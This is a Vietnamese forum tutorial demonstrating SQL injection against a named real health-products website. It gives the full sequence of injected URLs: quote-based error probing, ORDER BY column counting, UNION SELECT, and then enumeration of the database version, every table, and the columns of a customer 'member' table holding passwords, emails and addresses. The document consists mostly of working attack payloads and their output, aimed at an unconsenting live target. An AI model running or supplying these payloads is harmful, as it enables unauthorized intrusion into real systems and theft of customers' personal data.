[TUT]Khai thác site SQL HTML (php biến dạng)

Khai thác sql không phải là php nữa mà là HTML.

victim lần này là:

HTML Code:

http://www.worldwidehealthcenter.net/articles-261.html

Thêm dấu ' vào sau những con số

HTML Code:

http://www.worldwidehealthcenter.net/articles-261'.html

haha lỗi rồi

Quote:

Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/whc/www/articles.php on line 16 Warning: Cannot modify header information - headers already sent by (output started at /home/whc/www/articles.php:16) in /home/whc/www/include.php on line 432

Bắt đầu order by

HTML Code:

http://www.worldwidehealthcenter.net/articles-261 order by 1-- -.html

>>ok

HTML Code:

http://www.worldwidehealthcenter.net/articles-261 order by 7-- -.html

>> ok

HTML Code:

http://www.worldwidehealthcenter.net/articles-261 order by 8-- -.html

>> bao loi

>>8-1=7 nhé

bây h union select :

HTML Code:

http://www.worldwidehealthcenter.net/articles-261 union select 1,2,3,4,5,6,7-- -.html

ui số má đâu hết rồi: , view source , chẳng thấy gì hết chán.

Ghét quá thay số bằng null xem 261=null

http://www.worldwidehealthcenter.net/articles-null union select 1,2,3,4,5,6,7-- -.html

ui ra rồi 2 và 3 nhé

Tìm các thông tin :version(),database(),user()

HTML Code:

http://www.worldwidehealthcenter.net/articles-null union select 1,2,version(),4,5,6,7-- -.html

Tiếp theo tìm table name

HTML Code:

http://www.worldwidehealthcenter.net/articles-null union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()-- -.html

1 đống :

Quote:

adprice,artcat,articles,banners,brands,bulktemp,ca tegories,clickthrus,concerns,countries,directory,d irectorybak,directorystats,discount,distributorord er,emailaddresses,exchange,iptoc,keywords,loyalty, member,memberbak,memberbak2,message,ocountries,ord eritems,orders,ordersbak,postal,practcat,products, productsbak,purchaseorders,retaildiscount,ship,shi pdiscount,shipping,states,static,subscribers,suppl iers

Tìm table chứa thông tin

Ở đây nhìu cái quá mình loạn, thôi mình tìm table member nhé
member=0x6d656d626572 (conver to hex nhé)
get column

HTML Code:

http://www.worldwidehealthcenter.net/articles-null   union select 1,2,group_concat(column_name),4,5,6,7 from   information_schema.columns where table_schema=database() and   table_name=0x6d656d626572-- -.html

lại ra 1 đống :

Quote:

id,password,email,title,firstname,surname,company, address,city,state,postal,shoppercountry,tel,fax,s ameshipadd,shiptitle,shipfirstname,shipsurname,shi pcompany,shipaddress,shipcity,shipstate,country,sh ippostal,shiptel,shipfax,advertise,dateemailed,typ e